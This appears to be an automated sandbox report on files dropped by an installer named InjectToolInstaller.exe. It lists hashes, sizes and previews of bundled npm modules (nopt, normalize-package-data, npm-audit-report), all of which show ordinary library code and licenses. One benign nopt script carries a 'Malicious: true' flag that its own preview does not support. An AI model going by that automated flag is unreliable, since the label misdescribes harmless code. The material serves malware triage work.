SSDEEP:	12:9FM9Z7TES4dCPXeTbbtLgmq6KX9KsA8dXsrUXA3+PPRz2AvzT3kEmy2CKrK2PF3t:9SZvICCtEmq6s9iOnc4PRnA+KpF3ew
MD5:	82703A69F6D7411DDE679954C2FD9DCA
SHA1:	BB408E929CAEB1731945B2BA54BC337EDB87CC66
SHA-256:	4EC3D4C66CD87F5C8D8AD911B10F99BF27CB00CDFCFF82621956E379186B016B
SHA-512:	3FA748E59FB3AF0C5293530844FAA9606D9271836489D2C8013417779D10CC180187F5E670477F9EC77D341E0EF64EAB7DCFB876C6390F027BC6F869A12D0F46
Malicious:	false
Preview:	The ISC License..Copyright (c) Isaac Z. Schlueter and Contributors..Permission to use, copy, modify, and/or distribute this software for any.purpose with or without fee is hereby granted, provided that the above.copyright notice and this permission notice appear in all copies...THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES.WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF.MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR.ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES.WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN.ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR.IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE..

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\nopt\bin\nopt.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	a /usr/bin/env node script, ASCII text executable
Category:	dropped
Size (bytes):	644
Entropy (8bit):	4.750796187949791
Encrypted:	false
SSDEEP:	12:HSTFhxn/L6ruaReJYOQ6ER04sfyLFN3SXSdHoJtnnL:yTFhqReiiC04MyvKRr
MD5:	FC51DE68CA7EE2E22F5B855A57164AA2
SHA1:	9F96A87A2098AFC6885771D54BA333DCCAE3C89B
SHA-256:	95527C67AC7A1E294F7FCB09E648D1E454F6CFEF06346A18A297173389B97D21
SHA-512:	9AD98ABCE255E5EAA6E6B45232BA96E4BC18585993E8564C552FD801501D7522DE2C0254B778EFCA93D6A1CDE7B3F2A5C44014FC02B12E537E2437AADEDD3BBA
Malicious:	true
Preview:	#!/usr/bin/env node.const nopt = require('../lib/nopt').const path = require('path').console.log('parsed', nopt({. num: Number,. bool: Boolean,. help: Boolean,. list: Array,. 'num-list': [Number, Array],. 'str-list': [String, Array],. 'bool-list': [Boolean, Array],. str: String,. clear: Boolean,. config: Boolean,. length: Number,. file: path,.}, {. s: ['--str', 'astring'],. b: ['--bool'],. nb: ['--no-bool'],. tft: ['--bool-list', '--no-bool-list', '--bool-list', 'true'],. '?': ['--help'],. h: ['--help'],. H: ['--help'],. n: ['--num', '125'],. c: ['--config'],. l: ['--length'],. f: ['--file'],.}, process.argv, 2)).

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\nopt\lib\debug.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	140
Entropy (8bit):	4.899644981845467
Encrypted:	false
SSDEEP:	3:U2gLAdRFZYBbPKXtc8wMFbgcCeuWOLNJPXXKXyAFNxIYvn:UF0dRFZYB+9c8wHcDAZaXyAFTIC
MD5:	D83FAD8F1EA678A912A805E3041FC9A5
SHA1:	278F2BEBB109864BE2ADF402E5691E43B609EF5F
SHA-256:	55D6C35C14CDEB6A02D6E29887AD7B61C49CEF2533388DA2BD0FE826AF33D157
SHA-512:	8F8DFAF58BEA0917ECF9394D768481CCFD5A2783441F92DC1BFE571E9D5E87455AFFDB680BD120923F11540832A95DEC260ED7E634EFFCBD0E3A73D147BFF577
Malicious:	false
Preview:	/* istanbul ignore next */.module.exports = process.env.DEBUG_NOPT \|\| process.env.NOPT_DEBUG. ? (...a) => console.error(...a). : () => {}.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\nopt\lib\nopt-lib.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	12818
Entropy (8bit):	4.638244472033424
Encrypted:	false
SSDEEP:	192:oJjoktJkty3oriICG7/nTietzdr3zVhaLFloaEh8Dp5StEc5mpNpQrxJusxm6s07:sZkQoTeS8DfSsK1N7
MD5:	B281F9FC5EE3886B21A24E8EC43BBCE8
SHA1:	01F0FF9B017494602A9A41340C342529538F3482
SHA-256:	46EB5C53281D7CC89FC496F3D52AB2CD7E8C2BFBEB8947713C1B262E5E213B3D
SHA-512:	3921942EE67B0E10E9667AEFB6F4052944FAF08DF91B8D199728B1B4A80E3639E4220D4BA07F739A28DDB80B0E4F4CB3F4456E3D1DD03E631D4797413B0853CB
Malicious:	false
Preview:	const abbrev = require('abbrev').const debug = require('./debug').const defaultTypeDefs = require('./type-defs')..const hasOwn = (o, k) => Object.prototype.hasOwnProperty.call(o, k)..const getType = (k, { types, dynamicTypes }) => {. let hasType = hasOwn(types, k). let type = types[k]. if (!hasType && typeof dynamicTypes === 'function') {. const matchedType = dynamicTypes(k). if (matchedType !== undefined) {. type = matchedType. hasType = true. }. }. return [hasType, type].}..const isTypeDef = (type, def) => def && type === def.const hasTypeDef = (type, def) => def && type.indexOf(def) !== -1.const doesNotHaveTypeDef = (type, def) => def && !hasTypeDef(type, def)..function nopt (args, {. types,. shorthands,. typeDefs,. invalidHandler,. typeDefault,. dynamicTypes,.} = {}) {. debug(types, shorthands, args, typeDefs).. const data = {}. const argv = {. remain: [],. cooked: args,. original: args.slice(0),. }.. parse(args, data, argv.remain, { type

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\nopt\lib\nopt.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	955
Entropy (8bit):	4.75376611785256
Encrypted:	false
SSDEEP:	24:j9epMLAmOedWqPBk39EPgbhVrQvOBJ53+oUXuO8HJB+9UX5:j9mMLAZe9O39EPehV0vo7wXuOwLbX5
MD5:	EF83336A651C0243AAF8DADB94EAD71C
SHA1:	46A586211B8CA69D14E81B2D30F0F5D5EF23085A
SHA-256:	4615452255034A9B722B25A372C0C4ED04EDA2E4BF4C54B840BFAD564B9A4255
SHA-512:	F5BAD5DD237F093928C5C2F9E504DC760D1305E528053684BFB048DA83B6C1C5F46F242A5F13D54D5A2FE6D60B22516871D12910AE9596F074D8A7ABF9C20797
Malicious:	false
Preview:	const lib = require('./nopt-lib').const defaultTypeDefs = require('./type-defs')..// This is the version of nopt's API that requires setting typeDefs and invalidHandler.// on the required `nopt` object since it is a singleton. To not do a breaking change.// an API that requires all options be passed in is located in `nopt-lib.js` and.// exported here as lib..// TODO(breaking): make API only work in non-singleton mode..module.exports = exports = nopt.exports.clean = clean.exports.typeDefs = defaultTypeDefs.exports.lib = lib..function nopt (types, shorthands, args = process.argv, slice = 2) {. return lib.nopt(args.slice(slice), {. types: types \|\| {},. shorthands: shorthands \|\| {},. typeDefs: exports.typeDefs,. invalidHandler: exports.invalidHandler,. }).}..function clean (data, types, typeDefs = exports.typeDefs) {. return lib.clean(data, {. types: types \|\| {},. typeDefs,. invalidHandler: exports.invalidHandler,. }).}.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\nopt\lib\type-defs.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2030
Entropy (8bit):	4.746002710404561
Encrypted:	false
SSDEEP:	48:tgc2n1C7exPv/A+uT4NwD1fA1BBaCGb5CDUKYECg:M1C7ep/6T3pIBQCD02
MD5:	BA890022093F522E8F9E8C508B871FE3
SHA1:	0DFC4749EC84E39539A2AD78DC0D1B0D0E4AEFB7
SHA-256:	230FEE3A48E92B863C5D2D9D62E5C8DE020CDB636037CD589730DDEBE221C902
SHA-512:	B20D1AF635964B9C43A814F7FD877A51B797911C07E34743310DDECFC5C53D3E22E0A63F46C05BC998BB9F48899B93E7DFB4B51555A8506AEBBACADEE11B0CF8
Malicious:	false
Preview:	const url = require('url').const path = require('path').const Stream = require('stream').Stream.const os = require('os').const debug = require('./debug')..function validateString (data, k, val) {. data[k] = String(val).}..function validatePath (data, k, val) {. if (val === true) {. return false. }. if (val === null) {. return true. }.. val = String(val).. const isWin = process.platform === 'win32'. const homePattern = isWin ? /^~(\/\|\\)/ : /^~\//. const home = os.homedir().. if (home && val.match(homePattern)) {. data[k] = path.resolve(home, val.slice(2)). } else {. data[k] = path.resolve(val). }. return true.}..function validateNumber (data, k, val) {. debug('validate Number %j %j %j', k, val, isNaN(val)). if (isNaN(val)) {. return false. }. data[k] = +val.}..function validateDate (data, k, val) {. const s = Date.parse(val). debug('validate Date %j %j %j', k, val, s). if (isNaN(s)) {. return false. }. data[k] = new Date(val).}..function validate

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\nopt\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1167
Entropy (8bit):	4.692297037191272
Encrypted:	false
SSDEEP:	24:6H1A1ZFRgLvKFw1ehPFDi/5qVRR/8LIFhtGYYgeJo6xv1TV:8A1lg7F1ehPxfRV8sPQwef7TV
MD5:	89555F8C0BBF67788F96C1C07781AE68
SHA1:	A98E85E87D691DE3A50EFC67AE6457049E89E47A
SHA-256:	129D5075468782B1A82C61B840B377EBDE322AA48490F421A3DCCD4E5AB7FC24
SHA-512:	79C02ECAC7101CA5A0A18483B4D077E6BF309588A09A655ECCFAC2B71CC9BEFD6ECDC6ABE364C6F361D85D6AD6D73CF55B03829E179BB9524A077F56C4B5ED66
Malicious:	false
Preview:	{. "name": "nopt",. "version": "7.2.0",. "description": "Option parsing for Node, supporting types, shorthands, etc. Used by npm.",. "author": "GitHub Inc.",. "main": "lib/nopt.js",. "scripts": {. "test": "tap",. "lint": "eslint \"*/.js\"",. "postlint": "template-oss-check",. "template-oss-apply": "template-oss-apply --force",. "lintfix": "npm run lint -- --fix",. "snap": "tap",. "posttest": "npm run lint". },. "repository": {. "type": "git",. "url": "https://github.com/npm/nopt.git". },. "bin": {. "nopt": "bin/nopt.js". },. "license": "ISC",. "dependencies": {. "abbrev": "^2.0.0". },. "devDependencies": {. "@npmcli/eslint-config": "^4.0.0",. "@npmcli/template-oss": "4.15.1",. "tap": "^16.3.0". },. "tap": {. "nyc-arg": [. "--exclude",. "tap-snapshots/**". ]. },. "files": [. "bin/",. "lib/". ],. "engines": {. "node": "^14.17.0 \|\| ^16.13.0 \|\| >=18.0.0". },. "templateOSS": {. "//@npmcli/template

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\normalize-package-data\LICENSE

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text, with very long lines (755)
Category:	dropped
Size (bytes):	1403
Entropy (8bit):	5.1203493554059305
Encrypted:	false
SSDEEP:	24:g1LZRSXZUnezoLbOOrYFT5JYrYFTzL790432smEOkus8WROL32s3yxtTfy13tT+L:c0YOOrYJQrYJzF0432sBG32s3Etm13to
MD5:	D1BCFC4226560B085978F38C2581CE74
SHA1:	7F91FA2168F9FA91712D0F65EE16FB2A464DE7CE
SHA-256:	A5F6F572F26172E1289F2F769CD93ACF63AE90DCBB71A9F4953CED871AB38544
SHA-512:	C759B3D67C9ED4605614877FDE13DDD80BAD71CD4DCEBB2011716FFA01077267245DD7847DCEF1BBD0D81C638B60B90CF600B771D04EDCE67F50EA86230E10A7
Malicious:	false
Preview:	This package contains code originally written by Isaac Z. Schlueter..Used with permission...Copyright (c) Meryn Stol ("Author").All rights reserved...The BSD License..Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:..1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer...2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution...THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\normalize-package-data\lib\extract_description.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	549
Entropy (8bit):	4.700019204362263
Encrypted:	false
SSDEEP:	12:xBBsZlB6l9j1F695jCRNqM+wkGZXqQwRt58B/:DBsT8ldy+CCNtq58B/
MD5:	C5E821DBDB6161C36AF8F4E675B5C270
SHA1:	0EC32E1867685898C0B8085F88342D3EC2FD085B
SHA-256:	929CAE46BA0B3B1E96C598F3186EDB9E3FA934078E6F229FFFEF8CB045107554
SHA-512:	8CFCA30C08760EE0D9836584A2F1C86713A3BB8AB3E4F5915A9F473FCED7E46614943A5BF3F2D41205B01DCBF0F32B6AD702FD9DD0ACCB9432E64D9D2F183CBA
Malicious:	false
Preview:	module.exports = extractDescription..// Extracts description from contents of a readme file in markdown format.function extractDescription (d) {. if (!d) {. return. }. if (d === 'ERROR: No README data found!') {. return. }. // the first block of text before the first heading. // that isn't the first line heading. d = d.trim().split('\n'). let s = 0. while (d[s] && d[s].trim().match(/^(#\|$)/)) {. s++. }. const l = d.length. let e = s + 1. while (e < l && d[e].trim()) {. e++. }. return d.slice(s, e).join(' ').trim().}.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\normalize-package-data\lib\fixer.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	12706
Entropy (8bit):	4.6969316040902696
Encrypted:	false
SSDEEP:	192:e//zZidIohIwt2oyW/T3mMfCdqeE2uQNlTrb262GK2F+Z7BcgqldW3qN489Ess2Z:enfvA870s9EEeVK9po2jsI1
MD5:	37D220E9786766F10549CBC9A19CE7BB
SHA1:	F3DFEF11D5958972CAF251411C5E386F9B44DD54
SHA-256:	9E5B9EC2D6FA597D4E4C588BB13FA290B3156058C14C0E5A75F70B014E18015D
SHA-512:	0D265FE739D60AABBA60FDC0791DAAFCC8FC65AA168F70DAD19E7D63A9D73D1FAD6BBFEA4AF2F3E41957009572E358F9537DB82683CCCF3B97A2911C86D9A7A2
Malicious:	false
Preview:	var isValidSemver = require('semver/functions/valid').var cleanSemver = require('semver/functions/clean').var validateLicense = require('validate-npm-package-license').var hostedGitInfo = require('hosted-git-info').var isBuiltinModule = require('is-core-module').var depTypes = ['dependencies', 'devDependencies', 'optionalDependencies'].var extractDescription = require('./extract_description').var url = require('url').var typos = require('./typos.json')..var isEmail = str => str.includes('@') && (str.indexOf('@') < str.lastIndexOf('.'))..module.exports = {. // default warning function. warn: function () {},.. fixRepositoryField: function (data) {. if (data.repositories) {. this.warn('repositories'). data.repository = data.repositories[0]. }. if (!data.repository) {. return this.warn('missingRepository'). }. if (typeof data.repository === 'string') {. data.repository = {. type: 'git',. url: data.repository,. }. }. var r = dat

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\normalize-package-data\lib\make_warning.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	711
Entropy (8bit):	4.807045061381103
Encrypted:	false
SSDEEP:	12:EtBIBFjLVcDMtcVCoTAed+JSRWhooxIfkr9/OrOrD/fHkCkr+:EtBIB8DMtcNAlEWBTX/
MD5:	6AB8C375EBA863A1B9C94F7365B0369E
SHA1:	4EA98B938C36F92734F701C435577F3FB60FBE17
SHA-256:	4C0E5AE69E7554BB56CE269A4E81B3D5069B294F907A20E444E41A288B1C2946
SHA-512:	CBF3C9D45D6CB5ED8C81B0BB5FC630FDAC06D43019700D14736763DA6AA5169406404C2B1082F102BF350AE7AD361D04C4257EF8152AF52A9AB8A1376F526728
Malicious:	false
Preview:	var util = require('util').var messages = require('./warning_messages.json')..module.exports = function () {. var args = Array.prototype.slice.call(arguments, 0). var warningName = args.shift(). if (warningName === 'typo') {. return makeTypoWarning.apply(null, args). } else {. var msgTemplate = messages[warningName] ? messages[warningName] : warningName + ": '%s'". args.unshift(msgTemplate). return util.format.apply(null, args). }.}..function makeTypoWarning (providedName, probableName, field) {. if (field) {. providedName = field + "['" + providedName + "']". probableName = field + "['" + probableName + "']". }. return util.format(messages.typo, providedName, probableName).}.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\normalize-package-data\lib\normalize.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1383
Entropy (8bit):	4.89847746394179
Encrypted:	false
SSDEEP:	24:DB3je9SqF0vBP+2t6b468q+dxBBm+dz20//ozRy5bFDDqRduB9MaANZG0U6bJ:DLqKvk2ti8r1t20//ozRKbNmUPnANZGM
MD5:	E8AFDFCD276F1E9AB97AF62C0999674A
SHA1:	069A11F476264D2DF183511198BD0AC40CCF7AE5
SHA-256:	BBD4106306DCDCF75493C9F41F5ED948BD86FF86D62E75917C8D5D9D5FAB3B54
SHA-512:	5DF944DD53736CD3950B7275F69D274F7A2F89768D77EC374D03D61EA2AD03D4ADDA69EE23EAD90C543EE81748BD0161CEB2F1A9830EE0E86A49770E45365908
Malicious:	false
Preview:	module.exports = normalize..var fixer = require('./fixer').normalize.fixer = fixer..var makeWarning = require('./make_warning')..var fieldsToFix = ['name', 'version', 'description', 'repository', 'modules', 'scripts',. 'files', 'bin', 'man', 'bugs', 'keywords', 'readme', 'homepage', 'license'].var otherThingsToFix = ['dependencies', 'people', 'typos']..var thingsToFix = fieldsToFix.map(function (fieldName) {. return ucFirst(fieldName) + 'Field'.}).// two ways to do this in CoffeeScript on only one line, sub-70 chars:.// thingsToFix = fieldsToFix.map (name) -> ucFirst(name) + "Field".// thingsToFix = (ucFirst(name) + "Field" for name in fieldsToFix).thingsToFix = thingsToFix.concat(otherThingsToFix)..function normalize (data, warn, strict) {. if (warn === true) {. warn = null. strict = true. }. if (!strict) {. strict = false. }. if (!warn \|\| data.private) {. warn = function (msg) { /* noop */ }. }.. if (data.scripts &&. data.scripts.install === 'node-gyp rebuil

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\normalize-package-data\lib\safe_format.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	262
Entropy (8bit):	4.620893982068647
Encrypted:	false
SSDEEP:	6:qUQG7BpBbsqLOM3bVeEl9meSEE/kmEUmXk0dFYroy:9BFjLVbTme3E/Ak0Hooy
MD5:	5931099F61732BFF2E70E544D0DA27BC
SHA1:	4AC188B481593A3A403B1BDEB7BE77A5084351BB
SHA-256:	FEDF560CADE701C950577804C7D4ED77642C8BF49977A16671521A0276CEF2EA
SHA-512:	2CA1DD15AFB32A5804937A90AFFEF08C48D8E1A3670E6EC4590A75DAF702B3D3A234A565D5A8E2E78AC173982F17D918977CDE94419BC32907B7060AD249BCBF
Malicious:	false
Preview:	var util = require('util')..module.exports = function () {. var args = Array.prototype.slice.call(arguments, 0). args.forEach(function (arg) {. if (!arg) {. throw new TypeError('Bad arguments.'). }. }). return util.format.apply(null, arguments).}.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\normalize-package-data\lib\typos.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	747
Entropy (8bit):	4.251195954432444
Encrypted:	false
SSDEEP:	12:JAI7Y5KLSJjVsCTfTOi/0iyRixzJRw+PFHmFt3fEleWA0W20x:C5BeicOzJC+PFGFNfeJAJ7x
MD5:	8598638C133C563F5322EBA9C17BE4FC
SHA1:	331A67072A95F1B581795DBC3D57BF7A8CD57384
SHA-256:	AA8FD1A11B9CE3CB523B3E913ED2A514C6C6AFC13BD581A13D7B4211BB514A25
SHA-512:	22B7E137F68924C569D8270CF0FDF5C0B8903ED0C98A18B0F9BFD566C35498A36E26FE42A4250B384BD5A4B932C6CA3AAAFD24F20ED130C9BF88504E5AE25935
Malicious:	false
Preview:	{. "topLevel": {. "dependancies": "dependencies". ,"dependecies": "dependencies". ,"depdenencies": "dependencies". ,"devEependencies": "devDependencies". ,"depends": "dependencies". ,"dev-dependencies": "devDependencies". ,"devDependences": "devDependencies". ,"devDepenencies": "devDependencies". ,"devdependencies": "devDependencies". ,"repostitory": "repository". ,"repo": "repository". ,"prefereGlobal": "preferGlobal". ,"hompage": "homepage". ,"hampage": "homepage". ,"autohr": "author". ,"autor": "author". ,"contributers": "contributors". ,"publicationConfig": "publishConfig". ,"script": "scripts". },. "bugs": { "web": "url", "name": "url" },. "script": { "server": "start", "tests": "test" }.}.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\normalize-package-data\lib\warning_messages.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1798
Entropy (8bit):	4.702695881097899
Encrypted:	false
SSDEEP:	48:mGcHLzt/9chFsU9tWFHvZDrjzgl7uoXnRs7QoU8V:mnrJ/DgXnRkhU8V
MD5:	20E768E3962566757A16C67D7AD22991
SHA1:	CBB7B6F08A36FE523E925E39A3AAC5647B22D910
SHA-256:	8D477C902B2BCD8D8152A6ABC663B2ACD43CAF41C64CA989DCFC3E5D0B75B641
SHA-512:	3A623F31424AFB43627DBB72766D9156A29D11432EB9EF329F84730F7EA09DD5AEBB47F5451EE95899D828A0A95B5A9CE0B8F788A7D3FED0CFE2C79E7D0CCDA5
Malicious:	false
Preview:	{. "repositories": "'repositories' (plural) Not supported. Please pick one as the 'repository' field". ,"missingRepository": "No repository field.". ,"brokenGitUrl": "Probably broken git url: %s". ,"nonObjectScripts": "scripts must be an object". ,"nonStringScript": "script values must be string commands". ,"nonArrayFiles": "Invalid 'files' member". ,"invalidFilename": "Invalid filename in 'files' list: %s". ,"nonArrayBundleDependencies": "Invalid 'bundleDependencies' list. Must be array of package names". ,"nonStringBundleDependency": "Invalid bundleDependencies member: %s". ,"nonDependencyBundleDependency": "Non-dependency in bundleDependencies: %s". ,"nonObjectDependencies": "%s field must be an object". ,"nonStringDependency": "Invalid dependency: %s %s". ,"deprecatedArrayDependencies": "specifying %s as array is deprecated". ,"deprecatedModules": "modules field is deprecated". ,"nonArrayKeywords": "keywords should be an array of strings". ,"nonStringKeyword": "keyw

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\normalize-package-data\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1474
Entropy (8bit):	4.693389052629679
Encrypted:	false
SSDEEP:	24:JCH1/1Z8Dk8uQ+gWgLzen2KFEP8LOptuUe8LIFhmR6deJo631TFhDd7+6PYr:q/1Y7+oLzen2/P86yZ8sP5defFTFhx7s
MD5:	C5CC497DFB3E1EA3463EA63613122E3B
SHA1:	55BB91E9C7A6C46B0D8EC46021524547AA3CD31C
SHA-256:	6A3152681C0EE1CAE3A33D276601DEF9FF36A06FB42166EB937357CB27C66B8F
SHA-512:	A18805C101A62E1AA675F92E930AB1FF07E9FB2096446C16538044D7886941ED0C0389282BDDB238D12DFC7C941D4B4CC16778723E62ECB62F6EBD1A741240F4
Malicious:	false
Preview:	{. "name": "normalize-package-data",. "version": "6.0.0",. "author": "GitHub Inc.",. "description": "Normalizes data that can be found in package.json files.",. "license": "BSD-2-Clause",. "repository": {. "type": "git",. "url": "https://github.com/npm/normalize-package-data.git". },. "main": "lib/normalize.js",. "scripts": {. "test": "tap",. "npmclilint": "npmcli-lint",. "lint": "eslint \"*/.js\"",. "lintfix": "npm run lint -- --fix",. "posttest": "npm run lint",. "postsnap": "npm run lintfix --",. "postlint": "template-oss-check",. "snap": "tap",. "template-oss-apply": "template-oss-apply --force". },. "dependencies": {. "hosted-git-info": "^7.0.0",. "is-core-module": "^2.8.1",. "semver": "^7.3.5",. "validate-npm-package-license": "^3.0.4". },. "devDependencies": {. "@npmcli/eslint-config": "^4.0.0",. "@npmcli/template-oss": "4.18.0",. "tap": "^16.0.1". },. "files": [. "bin/",. "lib/". ],. "engines": {.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\npm-audit-report\LICENSE

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	755
Entropy (8bit):	4.986133556658205
Encrypted:	false
SSDEEP:	12:knXS4dCPX6bsmgmq6KX9KsAyXJXsXHUXA3+aOPRd2AvPNRKA3khXgKCgp3ew:YCICjmq6s9i4eAcGPRfyhoq3ew
MD5:	5324D196A847002A5D476185A59CF238
SHA1:	DFE418DC288EDB0A4BB66AF2AD88BD838C55E136
SHA-256:	720836C9BDAD386485A492AB41FE08007ECF85CA278DDD8F9333494DCAC4949D
SHA-512:	1B4187C58BEBB6378F8A04300DA6F4D1F12F6FBE9A1AB7CEDA8A4752E263F282DAEBCAC1379FA0675DD78EC86FFFB127DBA6469F303570B9F21860454DF2203F
Malicious:	false
Preview:	ISC License..Copyright (c) npm, Inc...Permission to use, copy, modify, and/or distribute this software for.any purpose with or without fee is hereby granted, provided that the.above copyright notice and this permission notice appear in all copies...THE SOFTWARE IS PROVIDED "AS IS" AND THE COPYRIGHT HOLDER DISCLAIMS.ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED.WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE.COPYRIGHT HOLDER BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR.CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS.OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE.OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE.USE OR PERFORMANCE OF THIS SOFTWARE..

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\npm-audit-report\lib\colors.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	575
Entropy (8bit):	4.507733324786177
Encrypted:	false
SSDEEP:	12:xBBdF5yTq4ojafoEBOBFxSNJrhA94NJrgNx9WbkxO1sNgYTO1KiC:DBHwpaafoEBOBFxSNJpNJgN7WIxDqCOK
MD5:	3A037DC07380D5EE8E85CE38A090A8AE
SHA1:	C133F00A8954F4B513371D8DD481B86A57EF3AC1
SHA-256:	8433D9B8D2383A8C95F6EAF347B1DEFCE44F29C0806A74575B35ADF14BD5ADE5
SHA-512:	AE20B758794F7E7A25562FD30C99876F6CDAADC2FE9ACC66A11E2A6A94E0160AEC1C5BE8A76521F59DCD92157C4F475DD72938A958D52629F3B04BEA7D2D0297
Malicious:	false
Preview:	module.exports = (chalk) => {. const green = s => chalk.green.bold(s). const red = s => chalk.red.bold(s). const magenta = s => chalk.magenta.bold(s). const yellow = s => chalk.yellow.bold(s). const white = s => chalk.bold(s). const severity = (sev, s) => sev.toLowerCase() === 'moderate' ? yellow(s \|\| sev). : sev.toLowerCase() === 'high' ? red(s \|\| sev). : sev.toLowerCase() === 'critical' ? magenta(s \|\| sev). : white(s \|\| sev). const dim = s => chalk.dim(s).. return {. dim,. green,. red,. magenta,. yellow,. white,. severity,. }.}.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\npm-audit-report\lib\exit-code.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	419
Entropy (8bit):	4.618878995196262
Encrypted:	false
SSDEEP:	6:jc26vkLF1xlFpAH6tESoJdFORChpKow0wvQYB0ibclvic+CquQeAlc7Lv5ONEWps:j1AkxCHuEFJdFORCh2f4YBJgb28AEJFh
MD5:	1F1EEE21298E1867420F2248BF6D5486
SHA1:	EA31FC20771088F1708C977BE637D5BF10474FFF
SHA-256:	DEFAB80CCC58437A93AB1CFEBE2CF776232AC22B9F0C7BFFB33EBE3013E2A4D9
SHA-512:	E8922DAA1DFF36F62E765A4C43B37DB9C897BCC248A4931278D298D460C7767465A1461E52967D3F2173583916C45FC2577FDCCE51BE3F316A1925AD3B441B76
Malicious:	false
Preview:	// return 1 if any vulns in the set are at or above the specified severity.const severities = new Map(Object.entries([. 'info',. 'low',. 'moderate',. 'high',. 'critical',. 'none',.]).map(s => s.reverse()))..module.exports = (data, level) =>. Object.entries(data.metadata.vulnerabilities). .some(([sev, count]) => count > 0 && severities.has(sev) &&. severities.get(sev) >= severities.get(level)) ? 1 : 0.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\npm-audit-report\lib\index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	911
Entropy (8bit):	4.761988770877871
Encrypted:	false
SSDEEP:	24:6qe5cKB9XRlg7d5AE5wDmDhRyXW3NOIr5ErtDNYZYMX4:6qe5cKPXjgwUwD0EXW3IIr5ErtDNEYMI
MD5:	F945973B74106B9150CD4169458609DF
SHA1:	0125201A9A74D602804EBFF2613EC26452E2E574
SHA-256:	90693D7F3A0E0E2930F7CAC3332698785E9062008098383E14260C3DE451F94C
